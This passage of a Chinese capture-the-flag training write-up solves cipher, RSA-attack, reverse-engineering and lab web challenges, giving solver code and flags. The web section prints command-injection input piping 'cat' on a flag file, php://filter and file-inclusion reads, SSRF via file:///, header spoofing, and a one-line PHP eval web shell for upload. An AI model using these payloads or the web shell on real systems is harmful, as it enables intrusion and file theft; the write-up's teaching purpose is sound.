            d = d.replace("*", '')
            print(f'假设每栏字数为:{
                fence_length}，解密结果为：{
                d}')  # 输出结果，并开始下一个循环
        
        for i in range(2,10):
        	decrypt_fence('fghai}l{anmazlma', i)
    
        flag{zhalanmima}

#### \* 云影密码 ####

*  题目
    
        8842101220480224404014224202480122
    
        a='8842101220480224404014224202480122'
        s=a.split('0')
        print(s)
        l=[]
        flag=''
        for i in range(len(s)):
        	sum=0
        	for j in range(len(s[i])):
        		sum+=int(s[i][j])
        	l.append(sum)
        print(l)
        for i in range(len(l)):
        	flag+=chr(ord('A')+l[i]-1)
        print(flag)
    
        flag{WELLDONE}

#### \* base64隐写 ####

*  题目
    
        U3RlZ2Fub2dyYXBoeSBpcyB0aGUgYXJ0IGFuZCBzY2llbmNlIG9m
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        dCBjb3ZlcmluZyBtZXNzYWdlIHdhcyB3cml0dGVu
        Lg0KKiBIaWRkZW4gbWVzc2FnZXMgb24gbWVzc2VuZ2VyJ3MgYm9keTogYWxzbyB1c2VkIGluIGFuY2llbt==
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        bW91cyBhbmQgc2hlIGJlY2FtZSBrbm93biBhcyB0aGX=
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        d2VyZSBub3QgZGVmZWN0b3JzIGJ1dCByYXRoZXIgd2VyZSBiZWluZyBoZWxkIGNh
        cHRpdmUgYnkgdGhlIE5vcnRoIEtvcmVhbnMuIEluIG90aGVyIHBob3Rv
        cyBwcmVzZW50ZWQgdG8gdGhlIFVTLCBjcmV3IG1lbWJlcnMgZ2F2ZSAidGhlIGZpbmdlciIgdG8g
        dGhlIHVuc3VzcGVjdGluZyBOb3J0aCBLb3JlYW5zLCBpbiBhbiBhdHRlbXB0IHRvIE==
        ZGlzY3JlZGl0IHBob3RvcyB0aGF0IHNob3dlZCB0aGVtIHNtaQ==
        bGluZyBhbmQgY29tZm9ydGFibGUuDQoNCi0tDQpodHRwOi8vZW4ud2lraXBlZGlhLm9yZw==
        L3dpa2kvU3RlZ2Fub2dyYXBoeQ0K
    
        import base64
        def get_diff(s1, s2):
            base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
            res = 0
            for i in range(len(s2)):
                if s1[i] != s2[i]:
                    return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))  #隐写值与正常加密的值做差，得出隐写信息
            return res
        
        
        def b64_stego_decode():
            file = open("stego.txt","rb")
            x = ''                                      # x即bin_str
            lines =  file.readlines()
            print(len(lines))
            for line in lines:
                l = str(line, encoding = "utf-8")
                stego = l.replace('\n','')
                #print(stego)
                realtext = base64.b64decode(l)
                #print(realtext)
                realtext = str(base64.b64encode(realtext),encoding = "utf-8")
                #print(realtext)
                diff = get_diff(stego, realtext)        # diff为隐写字串与实际字串的二进制差值
                n = stego.count('=')
                if diff:
                    x += bin(diff)[2:].zfill(n*2)
                else:
                    x += '0' * n*2   
            i = 0
            flag = ''
            while i < len(x):
                if int(x[i:i+8],2):
                    flag += chr(int(x[i:i+8],2))
                i += 8
            print(len(flag))
            print(flag)
        
        if __name__ == '__main__':
            b64_stego_decode()
    
        flag{Base_sixty_four_point_five}

#### \* rsa低加密指数小明文 ####

*  题目
    
        n = 1095193501314071508992184356698396498575993903902645176736824248626203423178058582980052056709470835349461883611907327333787476380807006829079149314187911076379180537479205152791331657276201370436693788845669156157605617438343332630668947137747409198034213068554850351851691
        e = 3
        c = 26957748170151919359681404117038763858559543976167222472065679376272566294346163463362841607862769232841859888042233434558282075299993159865541365966460870384341918224255038862662419746644668349966761257524859531569439368239059072753259426203046522626624370137714579366927
        求明文m。
    
        import libnum
        import gmpy2
        
        n = 1095193501314071508992184356698396498575993903902645176736824248626203423178058582980052056709470835349461883611907327333787476380807006829079149314187911076379180537479205152791331657276201370436693788845669156157605617438343332630668947137747409198034213068554850351851691
        e = 3
        c = 26957748170151919359681404117038763858559543976167222472065679376272566294346163463362841607862769232841859888042233434558282075299993159865541365966460870384341918224255038862662419746644668349966761257524859531569439368239059072753259426203046522626624370137714579366927
        
        def exp(n, e, c):
            k = 0
            while 1:
                m1 = k * n + c
                m, t = gmpy2.iroot(m1, e)
                print(m,t)
                if t:
                    print(m)
                    print(k)
                    print(libnum.n2s(int(m)))
                    break
                k += 1
        exp(n, e, c)
    
        flag{20d6e2da95dcc1fa5f5432a436c4be18}

#### \* rsa低解密指数1 ####

*  题目
    
        n = 113881698992379349039968368927979997900777221951663104697020683691495129639829918739755194174063944178083527489820939138302751895652076620380510013941997706327553964127612610209509889011613768847759318892303231846117914554931459295347697888260576901354448014917692680573408654658384481284699735788978230690197
        e = 39068960413447607023613035707248214114819409621234801785480423979473767995171860917209502861408393208940683687475760366491413173744775811644295874981290403938714121977201901942939425294427737703229098649131737380098596135730392902019429964095866394165971291108245774407908011073271822915371753470010435225545
        c = 32897925577913728659288168937025744709859960639901500169867896018406263110205704273203287172003057450591000201857719871686024077615520906540631374442504017489026298422189715372129838501090730593164075113452055617571409044743698645392909829425374093273187125709095368164744188182156849031225036001381531504057
        求明文m。
    
        import gmpy2
        import libnum
        
        
        def continuedFra(x, y):
            """计算连分数
            :param x: 分子
            :param y: 分母
            :return: 连分数列表
            """
            cf = []
            while y:
                cf.append(x // y)
                x, y = y, x % y
            return cf
        
        
        def gradualFra(cf):
            """计算传入列表最后的渐进分数
            :param cf: 连分数列表
            :return: 该列表最后的渐近分数
            """
            numerator = 0
            denominator = 1
            for x in cf[::-1]:
                # 这里的渐进分数分子分母要分开
                numerator, denominator = denominator, x * denominator + numerator
            return numerator, denominator
        
        
        def solve_pq(a, b, c):
            """使用韦达定理解出pq，x^2−(p+q)∗x+pq=0
            :param a:x^2的系数
            :param b:x的系数
            :param c:pq
            :return:p，q
            """
            par = gmpy2.isqrt(b * b - 4 * a * c)
            return (-b + par) // (2 * a), (-b - par) // (2 * a)
        
        
        def getGradualFra(cf):
            """计算列表所有的渐近分数
            :param cf: 连分数列表
            :return: 该列表所有的渐近分数
            """
            gf = []
            for i in range(1, len(cf) + 1):
                gf.append(gradualFra(cf[:i]))
            return gf
        
        
        def wienerAttack(e, n):
            """
            :param e:
            :param n:
            :return: 私钥d
            """
            cf = continuedFra(e, n)
            gf = getGradualFra(cf)
            for d, k in gf:
                if k == 0: continue
                if (e * d - 1) % k != 0:
                    continue
                phi = (e * d - 1) // k
                p, q = solve_pq(1, n - phi + 1, n)
                if p * q == n:
                    return d
        
        
        n = 113881698992379349039968368927979997900777221951663104697020683691495129639829918739755194174063944178083527489820939138302751895652076620380510013941997706327553964127612610209509889011613768847759318892303231846117914554931459295347697888260576901354448014917692680573408654658384481284699735788978230690197
        e = 39068960413447607023613035707248214114819409621234801785480423979473767995171860917209502861408393208940683687475760366491413173744775811644295874981290403938714121977201901942939425294427737703229098649131737380098596135730392902019429964095866394165971291108245774407908011073271822915371753470010435225545
        c = 32897925577913728659288168937025744709859960639901500169867896018406263110205704273203287172003057450591000201857719871686024077615520906540631374442504017489026298422189715372129838501090730593164075113452055617571409044743698645392909829425374093273187125709095368164744188182156849031225036001381531504057
        d = wienerAttack(e, n)
        m = pow(c, d, n)
        print(libnum.n2s(m))
    
        flag{20d6e2da95dcc1fa5f5432a436c4be18}

#### \* rsa ####

*  题目
    
        n=7988529900473105188014389056967960086936563867296757743521892517247936779322720860255444942930780242155210428532146832008713545175918837530905634445325434613286924351618434540099301502911121639999829834740539924265403662987413432992208955495360228174246357622824377495215804134031877852138419718863284041289967061947755471763445733857978070389788375692135682151280752698874962994309945007125140767713724007845018476511899517159255148049315657598732020980883906731666463222483082276200161006441236070632697370371903500101576784959354977554163415267670823573732279121475839359214571761531246288036446226453068425024510743430878895525069620567890490274176825219357359655054978914573683875407955166777928775686025208785359965308175183659767780483671664211850622777921251850575660515358213546002740078882179081879033533365462914306416084244064896545443160983307728785861578564664478989753888306751232356332190121325366431859545371415091670360260190699271133604911289835196596206112433828316266654787633268647464346977673202417551515190318166560434792723729979761884387433899987302192101282176134274993622472541295926147573968989742934976154219591883259771200235375181747502029986832498546072186095479928492351
        
        e1*e2=12349
        c1=3956941104485053740097867778863463614429523343802296956471207970766235827952284925375087827795398315065603371450397005812384369786270566468341680820768090028044060468385762612396806935151008409193225425849238432409779352207959601347819331509515142408073169950950260068253219043764412165896916157009543178713020910451557374200427834677059361484489014235064296816116750618582307178177624023709365116378669877631012092848323856887350562541185114608178800058247774480383468504515276293218883642235538269485922732048635945261217203958458777210312461803766231193060881859101042463516118251171784131103804920788352354253909269981900724568137387512987776233999939685033257641191756640718996088154059932650574786345139374148096160762489179144433042422947138557706133141328198729630422754608099697399786108410452796399199904862710178981499375104806904012474580305064294378920608192083444296846169807188253384131823042010303863827711800536625250704063697267629139677266911064618161509078464307097931159951662665685590708492737629563830569911494186947500940490462552820677028344009105765700117517667727014044362864193958365235369782682160000975318516878081759300120335955961150426969912205482822422497294769070680558
        
        c2=1611940015492237858734731702416679090527122709543998562457396582209482921996167319257124263097776719083735533237359282108951840302669400445723290521920778184957860968216955597796434242686387404340853070416671523333827453405378647122312410127116318173381005525906082911269068553644644687609522613704444374579284161594599287938530700830556279127294475519951575045281226065650043844322595522346835332161509830588432537394554004256279802459134435840152155349634866683628780452356511457368210177354837047964988830898418878925069850625303836559634386824904968394360298086999981372436634510871942249878916273086844819675445351650123995763782188534016623013711605415605757989536914844309859096018043139418213410907114483499986615333150567142484962965907979139743566212548602403120444967703145672734078988858122904884088935675452598837463766330894768372179433372531569766978092970858695058828452517992162674715013885642462261934681521697545980035382434568350477172292899604737668561976236375414170887395156146582284416539097502461258716445414441484365722004922543262378425518610840027621580310696876593038167054979299971052068452069502358975143777736130577413933906539382852391849708474118868998134460377344868062
        
        求明文m。
    
        import libnum
        import gmpy2
        
        n=7988529900473105188014389056967960086936563867296757743521892517247936779322720860255444942930780242155210428532146832008713545175918837530905634445325434613286924351618434540099301502911121639999829834740539924265403662987413432992208955495360228174246357622824377495215804134031877852138419718863284041289967061947755471763445733857978070389788375692135682151280752698874962994309945007125140767713724007845018476511899517159255148049315657598732020980883906731666463222483082276200161006441236070632697370371903500101576784959354977554163415267670823573732279121475839359214571761531246288036446226453068425024510743430878895525069620567890490274176825219357359655054978914573683875407955166777928775686025208785359965308175183659767780483671664211850622777921251850575660515358213546002740078882179081879033533365462914306416084244064896545443160983307728785861578564664478989753888306751232356332190121325366431859545371415091670360260190699271133604911289835196596206112433828316266654787633268647464346977673202417551515190318166560434792723729979761884387433899987302192101282176134274993622472541295926147573968989742934976154219591883259771200235375181747502029986832498546072186095479928492351
        
        e1=233
        e2=53
        
        c1=3956941104485053740097867778863463614429523343802296956471207970766235827952284925375087827795398315065603371450397005812384369786270566468341680820768090028044060468385762612396806935151008409193225425849238432409779352207959601347819331509515142408073169950950260068253219043764412165896916157009543178713020910451557374200427834677059361484489014235064296816116750618582307178177624023709365116378669877631012092848323856887350562541185114608178800058247774480383468504515276293218883642235538269485922732048635945261217203958458777210312461803766231193060881859101042463516118251171784131103804920788352354253909269981900724568137387512987776233999939685033257641191756640718996088154059932650574786345139374148096160762489179144433042422947138557706133141328198729630422754608099697399786108410452796399199904862710178981499375104806904012474580305064294378920608192083444296846169807188253384131823042010303863827711800536625250704063697267629139677266911064618161509078464307097931159951662665685590708492737629563830569911494186947500940490462552820677028344009105765700117517667727014044362864193958365235369782682160000975318516878081759300120335955961150426969912205482822422497294769070680558
        
        c2=1611940015492237858734731702416679090527122709543998562457396582209482921996167319257124263097776719083735533237359282108951840302669400445723290521920778184957860968216955597796434242686387404340853070416671523333827453405378647122312410127116318173381005525906082911269068553644644687609522613704444374579284161594599287938530700830556279127294475519951575045281226065650043844322595522346835332161509830588432537394554004256279802459134435840152155349634866683628780452356511457368210177354837047964988830898418878925069850625303836559634386824904968394360298086999981372436634510871942249878916273086844819675445351650123995763782188534016623013711605415605757989536914844309859096018043139418213410907114483499986615333150567142484962965907979139743566212548602403120444967703145672734078988858122904884088935675452598837463766330894768372179433372531569766978092970858695058828452517992162674715013885642462261934681521697545980035382434568350477172292899604737668561976236375414170887395156146582284416539097502461258716445414441484365722004922543262378425518610840027621580310696876593038167054979299971052068452069502358975143777736130577413933906539382852391849708474118868998134460377344868062
        
        def exp_def(e1,e2,c1,c2,n):
            s,s1,s2 = gmpy2.gcdext(e1, e2)
            m = gmpy2.iroot((pow(c1,s1,n) * pow(c2 ,s2 ,n)) % n,s)[0]
            return int(m)
        
        m=exp_def(e1,e2,c1,c2,n)
        print(libnum.n2s(m))
    
        flag{f96b697d7cb7938d525a2f31aaf161d0}
    
     *  解题思路  
        ![在这里插入图片描述][06e7e47d98a14ea99e0f8efbb6fec0fb.png]  
        ![在这里插入图片描述][3d96f42873d14edeacc23f84dc8b12f5.png]

#### \* basebase ####

*  题目
    
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        VHdpbmtsZV90d2lua2xlX2xpdHRsZV9zdGFyDQr=
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        V2hlbl90aGVfYmxhemluZ19zdW5faXNfZ29uZQ0K
        V2hlbl9oZV9ub3RoaW5nX3NoaW5lc191cG9uDQp=
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        VHdpbmtsZV90d2lua2xlX2FsbF90aGVfbmlnaHQNCr==
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        VGhlbl90aGVfdHJhdmVsbGVyX2luX3RoZV9kYXJrDQp=
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        VHdpbmtsZV90d2lua2xlX2xpdHRsZV9zdGFyDQp=
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        V2hlbl90aGVfYmxhemluZ19zdW5faXNfZ29uZQ0K
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        VGhlbl90aGVfdHJhdmVsbGVyX2luX3RoZV9kYXJrDQp=
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        SWZfeW91X2RpZF9ub3RfdHdpbmtsZV9zbw0K
        VHdpbmtsZV90d2lua2xlX2xpdHRsZV9zdGFyDQo=
        SG93X0lfd29uZGVyX3doYXRfeW91X2FyZQ0K
        SW5fdGhlX2RhcmtfYmx1ZV9za3lfeW91X2tlZXANCl==
        T2Z0ZW5fdGhyb3VnaF9teV9jdXJ0YWluc19wZWVwDQq=
        Rm9yX3lvdV9uZXZlcl9zaHV0X3lvdXJfZXllDQp=
        VGlsbF90aGVfc3VuX2lzX2luX3RoZV9za3kNCt==
        VHdpbmtsZV90d2lua2xlX2xpdHRsZV9zdGFyDQr=
        SG93X0lfd29uZGVyX3doYXRfeW91X2FyZX==
        VHdpbmtsZV90d2lua2xlX2xpdHRsZV9zdGFyDQp=
        SG93X0lfd29uZGVyX3doYXRfeW91X2FyZQ0K
        VXBfYWJvdmVfdGhlX3dvcmxkX3NvX2hpZ2gNCp==
        TGlrZV9hX2RpYW1vbmRfaW5fdGhlX3NreQ0K
        VHdpbmtsZV90d2lua2xlX2xpdHRsZV9zdGFyDQr=
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        V2hlbl90aGVfYmxhemluZ19zdW5faXNfZ29uZQ0K
        V2hlbl9oZV9ub3RoaW5nX3NoaW5lc191cG9uDQp=
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        VHdpbmtsZV90d2lua2xlX2FsbF90aGVfbmlnaHQNCs==
        VHdpbmtsZV90d2lua2xlX2xpdHRsZV9zdGFyDQr=
        SG93X0lfd29uZGVyX3doYXRfeW91X2FyZQ0K
        VGhlbl90aGVfdHJhdmVsbGVyX2luX3RoZV9kYXJrDQp=
        VGhhbmtzX3lvdV9mb3JfeW91cl90aW55X3NwYXJrDQr=
        Q291bGRfaGVfc2VlX3doaWNoX3dheV90b19nbw0K
        SWZfeW91X2RpZF9ub3RfdHdpbmtsZV9zbw0K
        VHdpbmtsZV90d2lua2xlX2xpdHRsZV9zdGFyDQq=
        SG93X0lfd29uZGVyX3doYXRfeW91X2FyZQ0K
        SW5fdGhlX2RhcmtfYmx1ZV9za3lfeW91X2tlZXANCh==
        T2Z0ZW5fdGhyb3VnaF9teV9jdXJ0YWluc19wZWVwDQr=
        Rm9yX3lvdV9uZXZlcl9zaHV0X3lvdXJfZXllDQq=
        VGlsbF90aGVfc3VuX2lzX2luX3RoZV9za3kNCl==
        VHdpbmtsZV90d2lua2xlX2xpdHRsZV9zdGFyDQq=
        VXBfYWJvdmVfdGhlX3dvcmxkX3NvX2hpZ2gNCu==
    
        import base64
        def get_diff(s1, s2):
            base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
            res = 0
            for i in range(len(s2)):
                if s1[i] != s2[i]:
                    return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))  #隐写值与正常加密的值做差，得出隐写信息
            return res
        
        
        def b64_stego_decode():
            file = open("处理过的文本.txt","rb")
            x = ''                                      # x即bin_str
            lines =  file.readlines()
            print(len(lines))
            count=0
            for line in lines:
                l = str(line, encoding = "utf-8")
                stego = l.replace('\n','')
                #print(stego)
                count=count+1
                #用下面这条语句判定出，哪行有问题，然后眼睛找，手动改即可
                print(count)
                realtext = base64.b64decode(l)
                #print(realtext)
                realtext = str(base64.b64encode(realtext),encoding = "utf-8")
                #print(realtext)
                diff = get_diff(stego, realtext)        # diff为隐写字串与实际字串的二进制差值
                n = stego.count('=')
                if diff:
                    x += bin(diff)[2:].zfill(n*2)
                else:
                    x += '0' * n*2   
            i = 0
            flag = ''
            while i < len(x):
                if int(x[i:i+8],2):
                    flag += chr(int(x[i:i+8],2))
                i += 8
            print(len(flag))
            print(flag)
        
        if __name__ == '__main__':
            b64_stego_decode()
    
        flag{guowangjishuxueyuan}
    
     *  解题思路  
        ![在这里插入图片描述][a5ef8bf63e5d4609a739006f8acb8388.png]  
        ![在这里插入图片描述][a15a2a08c78f4550a7d6d82b4693a911.png]  
        ![在这里插入图片描述][138faeca90e74282b199e6457cfbfca9.png]

## 三、反编译可执行软件和解密 ##

### 1. 反编译靶场解题 ###

#### \* 题目整体一览 ####

![在这里插入图片描述][cb68d4bd5d224a4088c2589b1390c309.png]

#### \* re1 ####

a=[   0xC6, 0x44, 0x24, 0x2F, 0x66, 0xC6, 0x44, 0x24, 0x2E, 0x6C, 
      0xC6, 0x44, 0x24, 0x2D, 0x61, 0xC6, 0x44, 0x24, 0x2C, 0x67, 
      0xC6, 0x44, 0x24, 0x2B, 0x7B, 0xC6, 0x44, 0x24, 0x2A, 0x52, 
      0xC6, 0x44, 0x24, 0x29, 0x65, 0xC6, 0x44, 0x24, 0x28, 0x5F, 
      0xC6, 0x44, 0x24, 0x27, 0x31, 0xC6, 0x44, 0x24, 0x26, 0x73, 
      0xC6, 0x44, 0x24, 0x25, 0x5F, 0xC6, 0x44, 0x24, 0x24, 0x53, 
      0xC6, 0x44, 0x24, 0x23, 0x30, 0xC6, 0x44, 0x24, 0x22, 0x5F, 
      0xC6, 0x44, 0x24, 0x21, 0x43, 0xC6, 0x44, 0x24, 0x20, 0x30, 
      0xC6, 0x44, 0x24, 0x1F, 0x4F, 0xC6, 0x44, 0x24, 0x1E, 0x4C, 
      0xC6, 0x44, 0x24, 0x1D, 0x7D ]
    flag = ''
    for i in range(4,len(a),5):
    	flag+=chr(a[i])
    	# pass
    print(flag)

flag{Re_1s_S0_C0OL}

![在这里插入图片描述][fa43596280d849c3a6dfbbe2b88b14ff.png]  
![在这里插入图片描述][826ed8e8d4ee4de3a25e0dd99f813be4.png]  
![在这里插入图片描述][dc67ba9e6f164fb59c48405771c86b23.png]

#### \* re2 ####

import base64
    DICT='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
    DICT1='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ+/='
    a='pCNxpTJ2d3d5nPoQnSAAnQBel4lihldkikV78nQ='
    b=''
    for i in range(len(a)):
    	b+=DICT[DICT1.index(a[i])]
    print(b)
    print(base64.b64decode(b))

flag{B43E_64_i$_INTERESTING!}

![在这里插入图片描述][6dcbb963b36c4216868f4c165728d3cb.png]  
![在这里插入图片描述][0f7373c74c1e430ea180cd21a8a05845.png]

#### \* re3 ####

import base64
    a='e3nifIH9b_C@n@dH'
    flag=''
    for i in range(len(a)):
    	flag+=chr(ord(a[i])-i)
    print(flag)

flag{i_l0ve_you}

![在这里插入图片描述][fb93b66f788b4a1d94fb05fa147ad625.png]

#### \* re4 ####

a=[0xC6, 0x45, 0xD0, 0x66, 0xC6, 0x45, 0xD1, 0xA0, 0xC6, 0x45, 
      0xD2, 0xB6, 0xC6, 0x45, 0xD3, 0xC0, 0xC6, 0x45, 0xD4, 0x77, 
      0xC6, 0x45, 0xD5, 0xE0, 0xC6, 0x45, 0xD6, 0x16, 0xC6, 0x45, 
      0xD7, 0x41, 0xC6, 0x45, 0xD8, 0x97, 0xC6, 0x45, 0xD9, 0xC0, 
      0xC6, 0x45, 0xDA, 0xF7, 0xC6, 0x45, 0xDB, 0xB2, 0xC6, 0x45, 
      0xDC, 0x06, 0xC6, 0x45, 0xDD, 0x52, 0xC6, 0x45, 0xDE, 0x06, 
      0xC6, 0x45, 0xDF, 0x01, 0xC6, 0x45, 0xE0, 0xD7, 0xC6, 0x45, 
      0xE1, 0x21, 0xC6, 0x45, 0xE2, 0x46, 0xC6, 0x45, 0xE3, 0xD0, 
      0xC6, 0x45, 0xE4, 0x36, 0xC6, 0x45, 0xE5, 0x40, 0xC6, 0x45, 
      0xE6, 0x97]
    flag = ''
    b=[]
    for i in range(3,len(a),4):
      #高低位互换
      b.append(a[i]*16&0xff|a[i]>>4)
      # b.append(a[i]*16|a[i]>>4)
    pass
    print(b) 
    flag +=chr(b[0])
    for i in range(1,len(b)):
      flag +=chr(b[i]^b[i-1])
    print(flag)

flag{youmusTKEEpmoving}

![在这里插入图片描述][3081238bffac42fd9679654b38a2763f.png]

#### \* re5 ####

a1=[]
    a2=[
      0x7E, 0x74, 0x75, 0x7F, 0x67, 0x63, 0x24, 0x63, 0x60, 0x65, 
      0x74, 0x6D, 0x24, 0x7D, 0x43, 0x25, 0x7A, 0x69]
    b=[]
    v5=[]
    v4=[]
    v3=[]
    
    v7=18
    flag=''
    for i in range(0,18,3):
    	print(i)
    	v5.append(a2[i])
    	v5.append(a2[i+1])
    	v5.append(a2[i+2])
    	print(v5[i])
    	flag+=(chr((v7^v5[i])-6))
    	flag+=(chr((v5[i+1]^v7)+6))
    	flag+=chr(v5[i+2]^6^v7)
    print(flag)

flag{w0wtqly0uW1n}

## 四、红蓝安全攻防演练-WEB安全 ##

## 1. 靶场Web题目讲解 ##

#### \* 题目整体一览 ####

![在这里插入图片描述][5950b2de2aea45e6979f7592263ae299.png]  
![在这里插入图片描述][a845bfc43e8e437b990b1f2f9c020664.png]

#### \* 代理拦截讲解 ####

![在这里插入图片描述][535bc4d7419a446bb6c4f60841e074b9.png]  
![在这里插入图片描述][4332dbb537494e639cc9b1f39978150c.png]  
![在这里插入图片描述][928a4670814f4244b9ca9f81d8c2da2a.png]

#### \* php的有趣的特性 ####

*  题目
    
        题目：  php弱类型语言
        解题方式：
        请求头加：?a=PJNPDWY&b=QNKCDZO&c=123&d=php://input 
        请求体为: 123
    
        flag{ab4ea15bd59038a6c7b823ebeee4b8ba}
    
    ![在这里插入图片描述][9baf8aef604046f18378021d5771fb6d.png]  
    ![在这里插入图片描述][654d55c45aa04c6ab6400dc396005434.png]  
    ![在这里插入图片描述][0e866aee2edc452a98cf48f9af1e6ded.png]  
    ![在这里插入图片描述][d2ca945e837c4b0882b4cb63cadf4d39.png]  
    ![在这里插入图片描述][c89004091c264692b110ddf0f6199b6d.png]  
    ![在这里插入图片描述][9b282990a20743c486e3bd7a681eb676.png]

#### \* phpBestLanguage ####

*  题目
    
        题目：http://172.31.27.248:8109 php世界上最好的语言
        解题：
        请求头：?ac=123&fn=php://input
        请求体：123
    
        flag{5592f1a9fa885a77ba55497e501a101a}
    
    ![在这里插入图片描述][585dd17cc9464a509cd442d222365d64.png]  
    ![在这里插入图片描述][3f3d2fe7e5aa499c8529a411bbb9f487.png]

#### \* 命令执行-ping ping ping ####

*  题目
    
        解题：
        127.0.0.1 | ls
        127.0.0.1 | cat f14g_saikjmld98401294.php
    
        flag{random_php_flag_there}
    
    ![在这里插入图片描述][fdace93255b54d0e9eec5c34c39741bc.png]  
    ![在这里插入图片描述][6c8e6e079e084c81be4afc65f5a30277.png]  
    ![在这里插入图片描述][dd9035558f4a4402aebaf815c226dceb.png]  
    ![在这里插入图片描述][b8365ca40ff94552a9581523f6d434c0.png]  
    ![在这里插入图片描述][768feef8ed1244908b5d12c0eed44b7e.png]

#### \* 文件包含2 ####

*  题目
    
        题目：http://172.31.27.248:8107 你能读到flag.php的内容吗
        解题：http://172.31.27.248:8107/index.php?file=php://filter/read=convert.base64-encode/resource=flag.php   
        使读到的文件内容为base64，然后解密
    
        flag{792b5e3054812cfe1f41ba3dda2a2948}
    
    ![在这里插入图片描述][86a1d21fd52a4a88bf9855bf68d0e592.png]  
    ![在这里插入图片描述][45ac3178d4154067b2a7e8bffbfb4fdd.png]
 *  文件包含
    
        题目：http://172.31.27.248:8106 flag在根目录！
        解题：http://172.31.27.248:8106/index.php?file=/flag
    
        flag{d41d8cd98f00b204e9800998ecf8427e}
    
    ![在这里插入图片描述][5d9132b4f8e4454f9472f81d82d79c83.png]

#### \* 文件上传 ####

*  题目
    
        题目：http://172.31.27.248:8103 只能上传gif!!!
        解题：
        <?php
        @eval($_POST[ljj]);
        ?>
    
        flag = "flag{ffffffffllllaaggg_!!!}
    
    ![在这里插入图片描述][102c0985dd844a2a8b6e96f2429ca8ab.png]  
    ![在这里插入图片描述][e1557188ef2c4676bd63f5b49eb0c2a1.png]  
    ![在这里插入图片描述][fef52135015b4780b91d44a5fdbfd615.png]  
    ![在这里插入图片描述][6ed9bbbfd5ab4e0c92e464d33d32cccf.png]  
    ![在这里插入图片描述][5e4adcf4033d40b9b784ff88194f3233.png]  
    ![在这里插入图片描述][4c8ca1d10f4a41b5b50bdd3f7086cd05.png]  
    ![在这里插入图片描述][ac6eafad709147d09ec35e92fb3335dc.png]  
    ![在这里插入图片描述][9210d0cb15ac440c8b36466e6749b0f2.png]  
    ![在这里插入图片描述][fe8963a6de274e1cbaea06682b358f54.png]

#### \* ssrf ####

*  题目
    
        题目：http://172.31.27.248:8102
        解题：http://172.31.27.248:8102/?url=file:///flag.txt
    
        flag{4787370fb09bd230f863731d2ffbff6a}
    
    ![在这里插入图片描述][01c4fbfcca8b405391c5f55f21e9dc1e.png]

#### \* xff ####

*  题目
    
        题目：http://172.31.27.248:8101 请从本地访问服务
        解题：
        x-forwarded-for:127.0.0.1
        referer:http://127.0.0.1
    
        flag{15cc8eee88302965c61497c147e6ca4c}
    
    ![在这里插入图片描述][938a7d61f30745508d867aef9dba9751.png]

#### \* WEB-GET ####

*  题目
    
        题目：http://172.31.27.248:1024/
        解题：http://172.31.27.248:1024/?what=flag
    
        flag{Bugku_get_su8kej2en}
    
    ![在这里插入图片描述][12c8b4573a5941c78da9b9a996b5d70c.png]  
    ![在这里插入图片描述][7dc80e1ede124270be15c80a2de09a03.png]

## 参考文档 ##

*  [RSA加密算法原理][RSA]

[6fac1d1cd339416284e26883790b0b56.png]: https://img-blog.csdnimg.cn/6fac1d1cd339416284e26883790b0b56.png
[f4a9776df19249b3b8127ea1e94866d7.png]: https://img-blog.csdnimg.cn/f4a9776df19249b3b8127ea1e94866d7.png
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[8b7870143b1e4a1eaa255a43c80ed532.png]: https://img-blog.csdnimg.cn/8b7870143b1e4a1eaa255a43c80ed532.png
[c5e9e6cffdcc40ff81bb51bf9c765d64.png]: https://img-blog.csdnimg.cn/c5e9e6cffdcc40ff81bb51bf9c765d64.png
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[90826d1d1f93436ebc4bbebeb6f258bf.png]: https://img-blog.csdnimg.cn/90826d1d1f93436ebc4bbebeb6f258bf.png
[cc24ed5c40694578a38f5ef505181cdc.png]: https://img-blog.csdnimg.cn/cc24ed5c40694578a38f5ef505181cdc.png
[dbde81b556124378be215f31f9e63a7e.png]: https://img-blog.csdnimg.cn/dbde81b556124378be215f31f9e63a7e.png
[d020069482fe413ba984a22913253640.png]: https://img-blog.csdnimg.cn/d020069482fe413ba984a22913253640.png
[c5cbe2c8f7f0463ea757c3d18ff9fcc0.png]: https://img-blog.csdnimg.cn/c5cbe2c8f7f0463ea757c3d18ff9fcc0.png
[32040d6541f7429dafbf411fa69f6d5a.png]: https://img-blog.csdnimg.cn/32040d6541f7429dafbf411fa69f6d5a.png
[2705b5f065bd458e863ff26638a44c6d.png]: https://img-blog.csdnimg.cn/2705b5f065bd458e863ff26638a44c6d.png
[41c763f31b0b4e5bbf4693e7044ac003.png]: https://img-blog.csdnimg.cn/41c763f31b0b4e5bbf4693e7044ac003.png
[dfe70e1df149431bb4b409ad95489a72.png]: https://img-blog.csdnimg.cn/dfe70e1df149431bb4b409ad95489a72.png
[4e1a0b877d2f4f15849a4cfbc624db73.png]: https://img-blog.csdnimg.cn/4e1a0b877d2f4f15849a4cfbc624db73.png
[7a019fc664134c80bddba4cb232f674a.png]: https://img-blog.csdnimg.cn/7a019fc664134c80bddba4cb232f674a.png
[7e359fc7198441b5ab54e927a204afa4.png]: https://img-blog.csdnimg.cn/7e359fc7198441b5ab54e927a204afa4.png
[c2790dba5f724f9ba9236db0a82d1ddd.png]: https://img-blog.csdnimg.cn/c2790dba5f724f9ba9236db0a82d1ddd.png
[cf250c52f2fd4693a5cd45e3a4c5fd3f.png]: https://img-blog.csdnimg.cn/cf250c52f2fd4693a5cd45e3a4c5fd3f.png
[6b683550fd9a441aaa7ab7bcdf2a8334.png]: https://img-blog.csdnimg.cn/6b683550fd9a441aaa7ab7bcdf2a8334.png
[20191008011532411.png]: https://img-blog.csdnimg.cn/20191008011532411.png
[201910080119101.png]: https://img-blog.csdnimg.cn/201910080119101.png
[06a5fc00f3c345bdaeeb567ffd8f2c73.png]: https://img-blog.csdnimg.cn/06a5fc00f3c345bdaeeb567ffd8f2c73.png
[baacfff11dc6469cb667c4a9c32c2b64.png]: https://img-blog.csdnimg.cn/baacfff11dc6469cb667c4a9c32c2b64.png
